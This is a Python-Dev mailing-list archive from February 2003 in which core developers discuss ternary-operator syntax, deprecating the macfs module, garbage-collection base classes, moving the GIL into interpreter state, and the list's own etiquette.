Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com>

> From: Guido van Rossum [mailto:guido@python.org]
>=20
> > Given all this, I'm +1 on leaving it as it is, and +1 on making it
> > all consistent for 2.4 ...
>=20
> -(0xffffffff) to that. :-)

You're not supposed to make me laugh out loud (to the point that there =
were tears in my eyes) at work - especially not at 10am :)

Thanks.

Tim Delaney


From Jack.Jansen@oratrix.com  Thu Feb  6 23:09:46 2003
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 7 Feb 2003 00:09:46 +0100
Subject: [Python-Dev] Deprecating modules after 2.3a1?
Message-ID: <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com>

Is it okay to deprecate modules at this point in time, i.e. now that 
2.3a1 is out with the module not yet deprecated?

I want to get rid of the old macfs (mac file system) module, which is a 
collection of very useful (and widely used) filesystem functionality, 
but which grew over the years and lacks design. The new Carbon.File and 
Carbon.Folder modules completely export the underlying Apple APIs, and 
under the Apple names, so they're also easier to use in the long run 
(because you can read the Apple documentation).

If we could deprecate macfs for 2.3 we could completely get rid of it 
for 2.4 (which will in all likeliness be MacOSX-only, and the only 
parts of the core that depend on macfs are MacOS9-only).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From esr@thyrsus.com  Thu Feb  6 23:10:46 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Thu, 6 Feb 2003 18:10:46 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302061446.52972.gherron@islandtraining.com>
References: <200302062001.h16K1hJ32460@odiug.zope.com> <yu99fzr1driw.fsf@europa.research.att.com> <20030206222014.GA23934@thyrsus.com> <200302061446.52972.gherron@islandtraining.com>
Message-ID: <20030206231046.GA24414@thyrsus.com>

Gary Herron <gherron@islandtraining.com>:
> On Thursday 06 February 2003 02:20 pm, Eric S. Raymond wrote:
> > Andrew Koenig <ark@research.att.com>:
> > > Eric> Yeeeouch.  And the proposed n-ary form is even worse.
> > >
> > > On the other hand, we already have the problem with list comprehensions:
> > >
> > >         [f(i) for i in range(n) if g(i)]
> > >
> > > Here, every evaluation of f(i) is preceded by an evaluation of g(i).
> >
> > Uh...but this is one of the reasons I never liked list comprehensions.
> 
> Perhaps because I'm a mathematician, I find the list comprehensions
> very comfortable.  It corresponds quite well with the mathematical
> notation for defining sets: {2*x | for all x in someSet}

I used to be a matrhematical logician.  This doesn't help me like it
any better, I'm afraid.
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From gherron@islandtraining.com  Thu Feb  6 23:46:51 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Thu, 6 Feb 2003 15:46:51 -0800
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061949.h16JnOc32020@odiug.zope.com>
References: <20030206043026.GA29482@homer.gst.com> <200302061039.52903.gherron@islandtraining.com> <200302061949.h16JnOc32020@odiug.zope.com>
Message-ID: <200302061546.51291.gherron@islandtraining.com>

On Thursday 06 February 2003 11:49 am, Guido van Rossum wrote:
> > If this is just for fun, why stop with just "trinary"?
>
> (Which BTW is a non-word; the correct term is "ternary".)
>
> > How about one of the following (depending on ease of parsing)?
> > These look even more like list comprehension.
> >
> >   x = (e1 if c1        e2 if c2        e3 if c3  ...  else d)
>
> Doesn't parse.  The concatenation of two expressions is not
> always distinguishable from a single expression: consider c1 = f and
> c2 = (1, 2).
>
> >   x = (e1 if c1  else  e2 if c2  else  e3 if c3  ...  else d)
>
> That works.

Now that I've had a little more time to thing about it, this
suggestion of a n-ary form is nothing more than nested ternary forms
with extra parentheses removed:

 (a1 if c1 else (a2 if c2 else b2))

could be allowed to be written as

  (a1 if c1   else  a2 if c2   else  b2)

and, if you want:

  (a1 if c1 else 
   a2 if c2 else 
   b2)


Other sub-threads of this thread are discussing how to parse these
ternary operators if the parentheses are not required.  I think the
parentheses *should* be required (see below for why) and so it would
be nice to allow this extended form and not require the inner set of
parentheses when doing "tail nesting" (to invent a term).

BEWARE:  UNPYTHONIC UGLINESS FOLLOWS!

On the other hand, if the parentheses are NOT required, we get a whole
host of *UGLY*, absolutely unreadable, nesting possibilities:

  a if b else c if d else e  <==>  (a if b else c) if d else e

and even worse

  a if b if c else d else e  <==>  a if (b if c else d) else e

And what about statements

  if a if b else c if d else e:
    f
  elif g if h if i else j else k:
    l
  else:
    m

Of course, any feature can be abused, but this seems *too* abusable.

Gary Herron



From guido@python.org  Fri Feb  7 00:53:31 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 06 Feb 2003 19:53:31 -0500
Subject: [Python-Dev] Deprecating modules after 2.3a1?
In-Reply-To: "Your message of Fri, 07 Feb 2003 00:09:46 +0100."
 <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com>
References: <15807CC0-3A28-11D7-BA8C-000A27B19B96@oratrix.com>
Message-ID: <200302070053.h170rVq30355@pcp02138704pcs.reston01.va.comcast.net>

> Is it okay to deprecate modules at this point in time, i.e. now that 
> 2.3a1 is out with the module not yet deprecated?

Sure.

> I want to get rid of the old macfs (mac file system) module, which is a 
> collection of very useful (and widely used) filesystem functionality, 
> but which grew over the years and lacks design. The new Carbon.File and 
> Carbon.Folder modules completely export the underlying Apple APIs, and 
> under the Apple names, so they're also easier to use in the long run 
> (because you can read the Apple documentation).
> 
> If we could deprecate macfs for 2.3 we could completely get rid of it 
> for 2.4 (which will in all likeliness be MacOSX-only, and the only 
> parts of the core that depend on macfs are MacOS9-only).

+1

--Guido van Rossum (home page: http://www.python.org/~guido/)


From whisper@oz.net  Fri Feb  7 00:59:36 2003
From: whisper@oz.net (David LeBlanc)
Date: Thu, 6 Feb 2003 16:59:36 -0800
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <200302061546.51291.gherron@islandtraining.com>
Message-ID: <GCEDKONBLEFPPADDJCOEIEKAHOAA.whisper@oz.net>

Hey, we could even toss in postfix operators!

if a = b:
	print c unless date.day_of_week() == "tuesday"

BTW, "trinary" is a word - just not the right one in this context.

David LeBlanc
Seattle, WA USA 




From shane.holloway@ieee.org  Fri Feb  7 01:09:07 2003
From: shane.holloway@ieee.org (Shane Holloway (IEEE))
Date: Thu, 06 Feb 2003 18:09:07 -0700
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFMEFGDCAA.gsw@agere.com>
Message-ID: <3E430733.6070300@ieee.org>

Gerald S. Williams wrote:
 > Compare this to the order of evaluation in the current
 > equivalent (parentheses for clarity only):
 >    (x and y) and 1 or 0
 >
 > or if you prefer:
 >    ((x and y) and [1] or [0])[0]


I was thinking that the semantics of "and" & "or" are the replacement 
for the trinary operator?  Since these operations always return the last 
evaluated subexpression (the same subexpression that short-circuits the 
evaluation), they can be used as Gerald outlines above.  It seems very 
consistent, logical, and understandable to me; but then again, I love 
the semantics of list compressions.  ;)

Thanks,
-Shane Holloway



From greg@cosc.canterbury.ac.nz  Fri Feb  7 01:11:51 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 07 Feb 2003 14:11:51 +1300 (NZDT)
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <yu99k7gddro5.fsf@europa.research.att.com>
Message-ID: <200302070111.h171Bp827869@oma.cosc.canterbury.ac.nz>

Andrew Koenig <ark@research.att.com>:

> It doesn't bother me that the relative precedence of if/else and
> lambda is different on the left and right,

The precedence doesn't have to be different on the left
and right -- they just need to have the *same* precedence
with appropriate associativity.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From ping@zesty.ca  Fri Feb  7 01:38:23 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Thu, 6 Feb 2003 19:38:23 -0600 (CST)
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <3E430733.6070300@ieee.org>
Message-ID: <Pine.LNX.4.33.0302061934480.4343-100000@server1.lfw.org>

On Thu, 6 Feb 2003, Shane Holloway (IEEE) wrote:
> I was thinking that the semantics of "and" & "or" are the replacement
> for the trinary operator?  Since these operations always return the last
> evaluated subexpression (the same subexpression that short-circuits the
> evaluation), they can be used as Gerald outlines above.

Unfortunately, this doesn't work if the result is false.
For example, here's a common idiom i use in C:

    printf("Read %d file%s.", count, count == 1 ? "" : "s");

If you try to translate this to Python using "and"/"or":

    print 'Read %d file%s.' % (count, count == 1 and '' or 's')

...it doesn't work, because the empty string is false.

Alas...


-- ?!ng



From mueller-oertel@arcor.de  Fri Feb  7 02:01:35 2003
From: mueller-oertel@arcor.de (=?iso-8859-1?Q?M=FCller-Oertel?=)
Date: Fri, 7 Feb 2003 03:01:35 +0100
Subject: [Python-Dev] Python and the non-English speaking world
Message-ID: <00c601c2ce4c$d999b200$0db607d5@A31>

Hi,

I am from Berlin, Germany. I would like to know, if this is the right place
to discuss an idea I had about how to attract more non-English speaking
people to Python. It would involve changes to the python.org website.

Marcus




From cnetzer@mail.arc.nasa.gov  Fri Feb  7 02:01:14 2003
From: cnetzer@mail.arc.nasa.gov (Chad Netzer)
Date: 06 Feb 2003 18:01:14 -0800
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <Pine.LNX.4.33.0302061934480.4343-100000@server1.lfw.org>
References: <Pine.LNX.4.33.0302061934480.4343-100000@server1.lfw.org>
Message-ID: <1044583274.636.27.camel@sayge.arc.nasa.gov>

On Thu, 2003-02-06 at 17:38, Ka-Ping Yee wrote:

> For example, here's a common idiom i use in C:
> 
>     printf("Read %d file%s.", count, count == 1 ? "" : "s");

Just for giggles, here is a python version:


    print "Read %d file%s." % (count, {1:""}.get(count,"s"))


Exact same number of characters, even. :)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From aahz@pythoncraft.com  Fri Feb  7 02:07:47 2003
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 6 Feb 2003 21:07:47 -0500
Subject: [Python-Dev] Python and the non-English speaking world
In-Reply-To: <00c601c2ce4c$d999b200$0db607d5@A31>
References: <00c601c2ce4c$d999b200$0db607d5@A31>
Message-ID: <20030207020747.GA29113@panix.com>

On Fri, Feb 07, 2003, M=FCller-Oertel wrote:
>=20
> I am from Berlin, Germany. I would like to know, if this is the right p=
lace
> to discuss an idea I had about how to attract more non-English speaking
> people to Python. It would involve changes to the python.org website.

No, you should post to comp.lang.python.
--=20
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.=
com/

"Argue for your limitations, and sure enough they're yours."  --Richard B=
ach


From tjreedy@udel.edu  Fri Feb  7 02:43:40 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Thu, 6 Feb 2003 21:43:40 -0500
Subject: [Python-Dev] Re: Re: Trinary Operators
References: <3E430733.6070300@ieee.org> <Pine.LNX.4.33.0302061934480.4343-100000@server1.lfw.org>
Message-ID: <b1v67t$9ja$1@main.gmane.org>


> If you try to translate this to Python using "and"/"or":
>
>     print 'Read %d file%s.' % (count, count == 1 and '' or 's')
>
> ...it doesn't work, because the empty string is false.

Invert the logic and it works fine!

print 'Read %d file%s.' % (count, count != 1 and 's' or '')

I suspect that careful use of and/or will take care of half of real
use cases for ternary (not 'trinary') operators.  IE, at least one of
the expressions is either a non-null constant, as above, or an
expression known to never be null when its condition is true.

I am -1 on the proposed <then-expr> if <cond> else <else-expr>
syntax.  To me,
<cond> if <then-expr> else <else-expr>, as in <count ==1 if '' else
's'>, would be better since it only inverts the order of 'if' and
<cond> and not also the <then-expr>.
Even better might be a semi-keyword (ie, in this context only) 'then'
so we could properly write "if count==1 then '' else 's'".  I know
several syntaxes have been proposed on various clp ternary-operator
threads over the years.

Terry J. Reedy





From aahz@pythoncraft.com  Fri Feb  7 03:46:45 2003
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 6 Feb 2003 22:46:45 -0500
Subject: [Python-Dev] Readability vs. Understanding
In-Reply-To: <3E4138BD.3010505@lemburg.com>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <3E4138BD.3010505@lemburg.com>
Message-ID: <20030207034645.GA18677@panix.com>

On Wed, Feb 05, 2003, M.-A. Lemburg wrote:
>
> Now, we're lucky since meta-classes or writing importers is not
> all that easy. With thunks the situation will be much like giving
> macros to Python programmers: you'll see a proliferation of new
> meta-constructs in all kinds of programs and in the end lose the
> maintainability argument which is still one of the strongest ones for
> using Python in the first place.

That's true only if we permit generalized thunks.  I've been pushing for
simplified thunks; nevertheless "thunk" is a useful term for the
discussions we're having.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From exarkun@intarweb.us  Fri Feb  7 07:11:00 2003
From: exarkun@intarweb.us (Jp Calderone)
Date: Fri, 7 Feb 2003 02:11:00 -0500
Subject: [Python-Dev] Re: Re: Trinary Operators
In-Reply-To: <b1v67t$9ja$1@main.gmane.org>
References: <3E430733.6070300@ieee.org> <Pine.LNX.4.33.0302061934480.4343-100000@server1.lfw.org> <b1v67t$9ja$1@main.gmane.org>
Message-ID: <20030207071100.GA2132@meson.dyndns.org>

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Feb 06, 2003 at 09:43:40PM -0500, Terry Reedy wrote:
>=20
> [snip]
>=20
> I suspect that careful use of and/or will take care of half of real
> use cases for ternary (not 'trinary') operators.  IE, at least one of
> the expressions is either a non-null constant, as above, or an
> expression known to never be null when its condition is true.

  A semi-common case I have in my code is this:

class Foo:
    def __init__(self, x =3D None):
        if x is None:
            x =3D []
        self.x =3D x

  About half the time, I start to write the body of __init__ as this,
though:

    self.x =3D x is not None and x or []

  And then kick myself, for it potentially fails or produces unexpected
behavior when something passes [] into the function, and a reference to
*that* empty list is kept by the caller.  It might be convenient to be able
to write:

    self.x =3D [] if x is None else x

  So, this is a case where both expressions may evaluate to false, but the
identity of which is used as the final result is significant.

  otoh-I'm-happy-with-the-current-form'ly, Jp

--=20
#!/bin/bash
( LIST=3D(~/.netscape/sigs/*.sig)
  cat ${LIST[$(($RANDOM % ${#LIST[*]}))]}
  echo --$'\n' `uptime` ) > ~/.netscape/.signature
--=20
 up 53 days, 11:50, 8 users, load average: 0.13, 0.22, 0.19

--GvXjxJ+pjyke8COw
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE+Q1wEedcO2BJA+4YRAncpAKDT69kGkZvrLGliBp9Jt3mRHujPIQCfcCeO
ly1TglRBJbL3pVEx36ZCddg=
=xc23
-----END PGP SIGNATURE-----

--GvXjxJ+pjyke8COw--


From ji@mit.jyu.fi  Fri Feb  7 07:27:34 2003
From: ji@mit.jyu.fi (Jonne Itkonen)
Date: Fri, 7 Feb 2003 09:27:34 +0200 (EET)
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com>
Message-ID: <Pine.HPX.4.44.0302070835500.27170-100000@tarzan.it.jyu.fi>

On Thu, 6 Feb 2003, Guido van Rossum wrote:

> > Alternatively, to GC or not GC could be driven by
> > inheritance. I used that in my flextype implementation.
> > When a class inherits from no GC-ed anchestors only,
> > it doesn't install GC as well.
>
> That's a fine idea.  It would require that there were two standard
> base classes: object and gcobject.  Or better, object and nogcobject;
> I think that GC should still be the default for classes that have any
> instance variables at all.

Could metaclasses be used instead of inheritance? It's just that I feel
quite uncomfortable already with the `inheritance from an object', and
now if there'll be two root objects...

What would be the relationship between these two objects? Is a gcobject an
object, or are they both subclasses of an archobject?

  Jonne



From Jack.Jansen@cwi.nl  Fri Feb  7 10:34:00 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Fri, 7 Feb 2003 11:34:00 +0100
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
In-Reply-To: <2mel6mok20.fsf@starship.python.net>
Message-ID: <ABD1FBA6-3A87-11D7-B739-0030655234CE@cwi.nl>

On Wednesday, Feb 5, 2003, at 15:53 Europe/Amsterdam, Michael Hudson 
wrote:
>> I think the build worked fine for me back in October (at least I don't
>> remember having to execute "make BUILDEXE=.exe".  It seems something 
>> changed
>> in the intervening time.
>
> Hmm.  Looking at CVS suggests that 2.2 sets BUILDEXE correctly if you
> are building in-tree, but not out of tree.  Could that be the
> difference?

Ah, that's the problem! Building out-of-tree doesn't work on the 2.2.X 
branch.

This was in patch #557719, which was checked in as Makefile.pre.in 
1.86. It wasn't
backported because the patch does more than only enabling out-of-tree 
builds, and the
rest of the patch can't be backported.
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From mwh@python.net  Fri Feb  7 10:43:25 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 07 Feb 2003 10:43:25 +0000
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com> ("Delaney,
 Timothy C's message of "Fri, 7 Feb 2003 10:04:57 +1100")
References: <338366A6D2E2CA4C9DAEAE652E12A1DE196638@au3010avexu1.global.avaya.com>
Message-ID: <2mvfzwbcc2.fsf@starship.python.net>

"Delaney, Timothy C (Timothy)" <tdelaney@avaya.com> writes:

>> From: Guido van Rossum [mailto:guido@python.org]
>> 
>> > Given all this, I'm +1 on leaving it as it is, and +1 on making it
>> > all consistent for 2.4 ...
>> 
>> -(0xffffffff) to that. :-)
>
> You're not supposed to make me laugh out loud (to the point that
> there were tears in my eyes) at work - especially not at 10am :)

I didn't laugh -- I was scared, because I had no idea what he meant.

Cheers,
M.

-- 
  You have run into the classic Dmachine problem: your machine has
  become occupied by a malevolent spirit.  Replacing hardware or
  software will not fix this - you need an exorcist. 
                                       -- Tim Bradshaw, comp.lang.lisp


From mwh@python.net  Fri Feb  7 11:00:11 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 07 Feb 2003 11:00:11 +0000
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com> ("Mark
 McEahern"'s message of "Thu, 6 Feb 2003 13:12:56 -0600")
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>
Message-ID: <2msmv0bbk4.fsf@starship.python.net>

"Mark McEahern" <marklists@mceahern.com> writes:

> [Graham Guttocks]
>> I don't know what to tell you. I made a mistake with how I phrased
>> my original question, and the situation was made worse by people on
>> this list making many unfounded assumptions. I was never allowed to
>> recover.

I think you were also unlucky wrt the time you posted.  Python-Dev has
been a bit awash with rather blue-skyish discussion recently, and your
post managed to hit the "Ye Gods, not this again" button particularly
hard.

>> I think my post raised some interesting discussion,

Yeah, I noticed that.  I hope you take it as a good sign that even
amongst the angst there was some good stuff.  comp.lang.python is good
at this, too.

[...]
>> Frankly, this whole ordeal has left me feeling nauseous, and I'd really
>> like to see this cycle of hate just die now.

Amen.  I am confident this post will have done that.

> I hope that you find a way to try again.  Python-Dev is a lot more serious
> than comp.lang.python.  Understandably.  It's not surprising that you didn't
> know what the atmosphere was like there before you posted.

It also changed a fair bit recently.

I think it's getting hard to talk about Python's *implementation* in
here.  (This post is part of the problem, of course).

The start of description of python-dev up on m.p.o is:

    On this list the key Python developers discuss the future of the
    language and its implementation.

So, crazy idea for the morning.  Split that sentence up: have one list
(probably the existing python-dev) where the future of the language is
discussed.  Have another (python-implementors) where anything that
does not have a short-to-medium term effect on the code in Python CVS
is strictly forbidden.  Can this be made to work?  Or maybe the last
month or so has been the exception and this list will just naturally
reqcquire some of it's focus.

Cheers,
Michael
(a reformed syntax discusser :-)

-- 
  (Unfortunately, while you get Tom Baker saying "then we 
   were attacked by monsters", he doesn't flash and make 
  "neeeeooww-sploot" noises.)
      -- Gareth Marlow, ucam.chat, from Owen Dunn's review of the year


From guido@python.org  Fri Feb  7 12:36:04 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 07:36:04 -0500
Subject: [Python-Dev] Re: How to lose potential users/developers
In-Reply-To: "Your message of Fri, 07 Feb 2003 11:00:11 GMT."
 <2msmv0bbk4.fsf@starship.python.net>
References: <JHEOKEOOLIGLDHCMAHMOKEPJGBAA.marklists@mceahern.com>
 <2msmv0bbk4.fsf@starship.python.net>
Message-ID: <200302071236.h17Ca4D00333@pcp02138704pcs.reston01.va.comcast.net>

> So, crazy idea for the morning.  Split that sentence up: have one
> list (probably the existing python-dev) where the future of the
> language is discussed.  Have another (python-implementors) where
> anything that does not have a short-to-medium term effect on the
> code in Python CVS is strictly forbidden.  Can this be made to work?
> Or maybe the last month or so has been the exception and this list
> will just naturally reqcquire some of it's focus.

*If* we were to split this up, I'd rather create a new list for wild
and crazy ideas.  But I'm -0 on splitting -- it wouldn't help *me*
because I'd want to be on both lists anyway, and I'm not sure how many
others are helped by it either -- I imagine that most people would
want to be on both lists.  Keeping traffic truly separated would
require more policing of the list than I'd feel comfortable with.  I'm
already uncomfortable with the tone of the messages that are sometimes
sent in reply to incidental "inappropriate" postings by first-time
posters.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Feb  7 12:42:27 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 07 Feb 2003 07:42:27 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: "Your message of Fri, 07 Feb 2003 09:27:34 +0200."
 <Pine.HPX.4.44.0302070835500.27170-100000@tarzan.it.jyu.fi>
References: <Pine.HPX.4.44.0302070835500.27170-100000@tarzan.it.jyu.fi>
Message-ID: <200302071242.h17CgR900374@pcp02138704pcs.reston01.va.comcast.net>

> > > Alternatively, to GC or not GC could be driven by
> > > inheritance. I used that in my flextype implementation.
> > > When a class inherits from no GC-ed anchestors only,
> > > it doesn't install GC as well.
> >
> > That's a fine idea.  It would require that there were two standard
> > base classes: object and gcobject.  Or better, object and nogcobject;
> > I think that GC should still be the default for classes that have any
> > instance variables at all.
> 
> Could metaclasses be used instead of inheritance? It's just that I feel
> quite uncomfortable already with the `inheritance from an object', and
> now if there'll be two root objects...

I'd be more uncomfortable with with more use of metaclasses.

> What would be the relationship between these two objects? Is a
> gcobject an object, or are they both subclasses of an archobject?

object (with GC) would be a subclass of nogcobject (the real root
root).

At the C level, PyBaseObject_Type would become nogcobject and a new
name would be chosen for object, maybe PyGCObject_Type.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gward@python.net  Fri Feb  7 13:09:52 2003
From: gward@python.net (Greg Ward)
Date: Fri, 7 Feb 2003 08:09:52 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <yu99fzr1cq4e.fsf@europa.research.att.com>
References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <yu99fzr1cq4e.fsf@europa.research.att.com>
Message-ID: <20030207130952.GC10095@cthulhu.gerg.ca>

On 06 February 2003, Andrew Koenig said:
> Notwithstanding which, I occasionally wish that Python had an
> if-then-else operator.
> 
> I personally like the way Algol 68 does it, although I acknowledge
> that Python couldn't really do it the same way because Algol 68
> does not distinguish between statements and expressions.

Yes!  My only experience with Algol 68 was in an undergrad programming
language survey course about 10 years ago, and I remember thinking at
the time that they really got it right back in '68.

I also have a dim recollection of pestering Guido about the
statement/expression divide once, and he insisted that it was a
feature.  I respectfully disagree; I think we're all grown-ups here and
we can decide between ourselves when an expression is really a
statement.  This is one thing that I think C got right (although
"if (x = ...)" is an abomination that should, at the very least,
generate a stern warning).

        Greg
-- 
Greg Ward <gward@python.net>                         http://www.gerg.ca/
If it can't be expressed in figures, it is not science--it is opinion.


From Tobias.Oberstein@gmx.de  Fri Feb  7 13:15:42 2003
From: Tobias.Oberstein@gmx.de (Tobias Oberstein)
Date: Fri, 7 Feb 2003 14:15:42 +0100
Subject: [Python-Dev] Why is the GIL not in PyInterpreterState?
Message-ID: <EGECJPMPCPJFHJIBBCJMIELGCKAA.Tobias.Oberstein@gmx.de>

Is there a reason why PyInterpreterState is not defined like so:

typedef struct _is {
   ..
   PyThread_type_lock interpreter_lock;
   PyThreadState *_PyThreadState_Current;
   ..
} PyInterpreterState;

which could be the basis for support of multiple, separated
interpreters within a single process.

I'm coming up with this since I need a scripting language embedded
in a multithreaded server which scales on SMP machines. I've read
through the history of the GIL-issue, and no I can't work around
it (other than using TCL, which I want to avoid at all costs).
please also see:
http://mail.python.org/pipermail/python-list/2003-February/144544.html


Would it be so hard to proceed like indicated below?
Please help a naive geek.

Tobias



PyInterpreterState* Py_Initialize_Ex()

void Py_Finalize_Ex(PyInterpreterState *interp)


PyThreadState* Py_NewInterpreter_Ex(PyInterpreterState *interp)

/* unchanged signature */
void Py_EndInterpreter_Ex(PyThreadState *tstate)


PyThreadState * PyThreadState_Get(PyInterpreterState *interp)


PyObject * PyImport_GetModuleDict(PyThreadState *tstate)


int PyRun_SimpleString_Ex(PyThreadState *tstate, char *command)




#define Py_BEGIN_ALLOW_THREADS(interp) { \
			PyThreadState *_save; \
			_save = PyEval_SaveThread_Ex(interp);
#define Py_BLOCK_THREADS(interp)	PyEval_RestoreThread_Ex(interp,_save);
#define Py_UNBLOCK_THREADS(interp)	_save = PyEval_SaveThread_Ex(interp);
#define Py_END_ALLOW_THREADS(interp)	PyEval_RestoreThread_Ex(interp,_save);
\
		 }



PyThreadState *
PyThreadState_Swap_Ex(PyInterpreterState *interp, PyThreadState *new)
{
	PyThreadState *old = interp->_PyThreadState_Current;

	_PyThreadState_Current = new;

	return old;
}


PyThreadState *
PyEval_SaveThread_Ex(PyInterpreterState *interp)
{
	PyThreadState *tstate = PyThreadState_Swap(interp, NULL);
	if (tstate == NULL)
		Py_FatalError("PyEval_SaveThread: NULL tstate");
#ifdef WITH_THREAD
	if (interp->interpreter_lock)
		PyThread_release_lock(interp->interpreter_lock);
#endif
	return tstate;
}



.. and so on ..
for backward compatibility one could do ..


/* essentially the only global to be left .. */
static PyInterpreterState* interp;


void Py_Initialize()
{
  interp = Py_Initialize_Ex();
}


void
Py_Finalize(void)
{
  Py_Finalize_Ex(interp);
}


PyThreadState *
Py_NewInterpreter(void)
{
  return Py_NewInterpreter_Ex(interp);
}


void
Py_EndInterpreter(PyThreadState *tstate)
{
  Py_EndInterpreter_Ex(PyThreadState *tstate)
}


PyThreadState *
PyThreadState_Get(void)
{
	return PyThreadState_Get(interp)
}


int
PyRun_SimpleString(char *command)
{
	return PyRun_SimpleString_Ex(PyThreadState_Get(interp), command);
}


PyObject *
PyImport_GetModuleDict(void)
{
  return PyImport_GetModuleDict(PyThreadState_Get(interp));
}



From mhammond@skippinet.com.au  Fri Feb  7 13:37:14 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Sat, 8 Feb 2003 00:37:14 +1100
Subject: [Python-Dev] Why is the GIL not in PyInterpreterState?
In-Reply-To: <EGECJPMPCPJFHJIBBCJMIELGCKAA.Tobias.Oberstein@gmx.de>
Message-ID: <002401c2ceae$07263110$530f8490@eden>

> Is there a reason why PyInterpreterState is not defined like so:
>
> typedef struct _is {
>    ..
>    PyThread_type_lock interpreter_lock;
>    PyThreadState *_PyThreadState_Current;
>    ..
> } PyInterpreterState;

I guess it is mainly for historical reasons.

> Would it be so hard to proceed like indicated below?
> Please help a naive geek.

While that sounds reasonable, you are likely to strike a number of other
problems.  IIRC, you got a couple of replies on c.l.py, including one from
Aahz warning that statics in extension modules are likely to be a problem.

So my only suggestion is "suck it and see".  I would expect that patches to
the Python core that "correct" any implementation issues, while retaining
full compatibilty, would have a good chance.  It sounds reasonable that
moving the lock itself into the interpreter state would qualify, but whether
that solves your actual problem is anyone's guess.  As you can see from
these implementation details, you are breaking new ground.  It may be worth
fully exploring why you think you need multiple interpreter states - if you
"simply" need per-thread modules, and are in total control of your
environment, there may be other options.  Exploration of these other options
is more on-topic for comp.lang.python.

Unfortunately, you are probably going to have to nut these issues out
yourself - time is pretty scarce around here.

Mark.



From gsw@agere.com  Fri Feb  7 14:06:07 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 7 Feb 2003 09:06:07 -0500
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <20030207110122.15202.15097.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFEEGADCAA.gsw@agere.com>

Guido van Rossum wrote:
> FAQ entry 4.16 is on how to spell ?: in Python.  Maybe it can be
> extended with an explanation of *why* it isn't available?

Ka-Ping Yee wrote:
> Unfortunately, this doesn't work if the result is false. [...]

Read FAQ entry 4.16. It covers that case.

-Jerry



From ark@research.att.com  Fri Feb  7 14:40:53 2003
From: ark@research.att.com (Andrew Koenig)
Date: 07 Feb 2003 09:40:53 -0500
Subject: [Python-Dev] Trinary Operators
In-Reply-To: <20030207130952.GC10095@cthulhu.gerg.ca>
